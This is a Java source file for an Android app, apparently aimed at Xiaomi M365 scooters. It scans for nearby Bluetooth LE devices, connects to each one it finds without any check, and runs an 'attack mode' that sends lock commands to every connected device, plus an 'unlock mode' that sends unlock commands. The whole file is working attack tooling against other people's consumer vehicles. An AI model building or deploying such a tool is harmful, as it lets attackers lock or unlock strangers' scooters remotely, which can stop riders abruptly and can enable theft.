package com.XiaomiM365Locker.app; import android.Manifest; import android.bluetooth.BluetoothAdapter; import android.bluetooth.BluetoothDevice; import android.bluetooth.BluetoothManager; import android.bluetooth.le.BluetoothLeScanner; import android.bluetooth.le.ScanCallback; import android.bluetooth.le.ScanResult; import android.content.Context; import android.support.design.widget.FloatingActionButton; import android.support.v4.app.ActivityCompat; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import permissions.dispatcher.NeedsPermission; import permissions.dispatcher.PermissionUtils; import android.view.View; import android.widget.AdapterView; import android.widget.ListView; import com.polidea.rxandroidble2.RxBleClient; import com.polidea.rxandroidble2.RxBleConnection; import com.polidea.rxandroidble2.RxBleDevice; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; import java.util.concurrent.ConcurrentLinkedQueue; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends AppCompatActivity { private DeviceAdapter devicesAdapter; private BluetoothAdapter mBTAdapter; private boolean scanning; private HashMap<String, DeviceConnection> devices_connections = new HashMap<>(); private RxBleClient rxBleClient; private ConcurrentLinkedQueue<String> devices_to_attack = new ConcurrentLinkedQueue<>(); private TextView tv_scanning_state; private static final int REQUEST_STARTSCAN = 0; private static final String[] PERMISSION_STARTSCAN = new String[] {"android.permission.ACCESS_COARSE_LOCATION"}; private Thread attacking_thread = null; private BluetoothLeScanner bluetoothLeScanner = null; private boolean attack_mode = false; private boolean unlock_mode = false; private ListView lv_scan = null; private BluetoothManager btManager = null; private ScanCallback mLeScanCallback = new ScanCallback() { @Override public void onScanResult(int callbackType, ScanResult result) { super.onScanResult(callbackType, result); BluetoothDevice newDevice = result.getDevice(); int newRssi = result.getRssi(); String device_name = newDevice.getName(); String device_address = newDevice.getAddress(); if(device_name == null) { return; } DeviceConnection dev = devices_connections.get(device_address); if(dev != null) { devicesAdapter.update(newDevice, newRssi, dev.getState()); } else { devicesAdapter.update(newDevice, newRssi, RxBleConnection.RxBleConnectionState.DISCONNECTED); } String mDeviceAddress = newDevice.getAddress(); add_device_to_attack(mDeviceAddress); } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_devices_activity); tv_scanning_state = findViewById(R.id.scannning_state); updateStatus(); if (!PermissionUtils.hasSelfPermissions(this, MainActivity.PERMISSION_STARTSCAN)) { ActivityCompat.requestPermissions(this, MainActivity.PERMISSION_STARTSCAN, MainActivity.REQUEST_STARTSCAN); } this.rxBleClient = RxBleClient.create(getApplicationContext()); this.scanning = false; this.lv_scan = findViewById(R.id.devices_list); this.devicesAdapter = new DeviceAdapter(this, R.layout.list_device_item, new ArrayList<Device>()); lv_scan.setAdapter(this.devicesAdapter); this.btManager = (BluetoothManager) this.getSystemService(Context.BLUETOOTH_SERVICE); mBTAdapter = btManager.getAdapter(); bluetoothLeScanner = this.mBTAdapter.getBluetoothLeScanner(); final Runnable r = new Runnable() { public void run() { while(true) { if(!scanning) { continue; } String address = devices_to_attack.poll(); if(address != null) { connect_device(address); } for (Map.Entry<String, DeviceConnection> device_entry: devices_connections.entrySet()) { DeviceConnection devconn = device_entry.getValue(); if(devconn != null) { if (devconn.get_first_command() != null && devconn.getState() == RxBleConnection.RxBleConnectionState.CONNECTED) { devconn.runNextCommand(); } } } } } }; attacking_thread = new Thread(r); attacking_thread.start(); FloatingActionButton fab_scan = findViewById(R.id.fab_scan); fab_scan.setOnClickListener((View onClick) -> { if(!scanning) { startScan(); } else { stopScan(); } }); FloatingActionButton fab_attack = findViewById(R.id.fab_attack); fab_attack.setOnClickListener(OnClickListener -> { if(!attack_mode) { startAttackMode(); } else { stopAttackMode(); } }); FloatingActionButton fab_unlock = findViewById(R.id.fab_unlock); fab_unlock.setOnClickListener(onClick -> { if(!unlock_mode) { startUnlockMode(); } else { stopUnlockMode(); } }); lv_scan.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) { Device device = devicesAdapter.getItem(i); DeviceConnection connection_device = devices_connections.get(device.getDevice().getAddress()); if(connection_device != null) { connection_device.addCommand(new LockOff()); } } }); } @Override protected void onDestroy() { super.onDestroy(); stopScan(); } private void add_device_to_attack(String device_address) { if(this.devices_connections.get(device_address) != null) { return; } this.devices_to_attack.add(device_address); } private void attack_device(String device_address) { if (this.devices_connections.get(device_address) == null) { return; } DeviceConnection device = this.devices_connections.get(device_address); device.addCommand(new LockOn()); } private void unlock_device(String device_address) { if (this.devices_connections.get(device_address) == null) { return; } DeviceConnection device = this.devices_connections.get(device_address); device.addCommand(new LockOff()); } private void connect_device(String device_address) { if (this.devices_connections.get(device_address) != null) { return; } RxBleDevice bleDevice = this.rxBleClient.getBleDevice(device_address); DeviceConnection device = new DeviceConnection(bleDevice, this.devicesAdapter, this); this.devices_connections.put(device_address, device); if(this.attack_mode) attack_device(device_address); if(this.unlock_mode) unlock_device(device_address); } @NeedsPermission(Manifest.permission.ACCESS_COARSE_LOCATION) void startScan() { this.scanning = true; if (this.mBTAdapter != null) { RxBleClient client = this.rxBleClient; RxBleClient.State state = client.getState(); if(state == RxBleClient.State.READY) { bluetoothLeScanner.startScan(this.mLeScanCallback); } else { Toast.makeText(this, "Enable bluetooth", Toast.LENGTH_LONG).show(); stopScan(); } } this.updateStatus(); } private void updateStatus() { String state = "Scanning:" + this.scanning + " || Attack:" + this.attack_mode + " || Unlock:" + this.unlock_mode; tv_scanning_state.setText(state); } private void startAttackMode() { this.attack_mode = true; for (Map.Entry<String, DeviceConnection> device_entry: this.devices_connections.entrySet()) { device_entry.getValue().addCommand(new LockOn()); } this.updateStatus(); } private void stopAttackMode() { this.attack_mode = false; this.updateStatus(); } private void startUnlockMode() { this.unlock_mode = true; for (Map.Entry<String, DeviceConnection> device_entry: this.devices_connections.entrySet()) { device_entry.getValue().addCommand(new LockOff()); } this.updateStatus(); } private void stopUnlockMode() { this.unlock_mode = false; this.updateStatus(); } private void stopScan() { for (Map.Entry<String, DeviceConnection> device_entry: this.devices_connections.entrySet()) { device_entry.getValue().dispose(); } bluetoothLeScanner.stopScan(this.mLeScanCallback); this.rxBleClient = RxBleClient.create(getApplicationContext()); this.devicesAdapter = new DeviceAdapter(this, R.layout.list_device_item, new ArrayList<>()); this.lv_scan.setAdapter(this.devicesAdapter); this.btManager= (BluetoothManager) this.getSystemService(Context.BLUETOOTH_SERVICE); mBTAdapter = this.btManager.getAdapter(); bluetoothLeScanner = this.mBTAdapter.getBluetoothLeScanner(); this.devices_connections = new HashMap<>(); this.devices_to_attack = new ConcurrentLinkedQueue<>(); this.scanning = false; this.updateStatus(); this.devicesAdapter.notifyDataSetChanged(); } }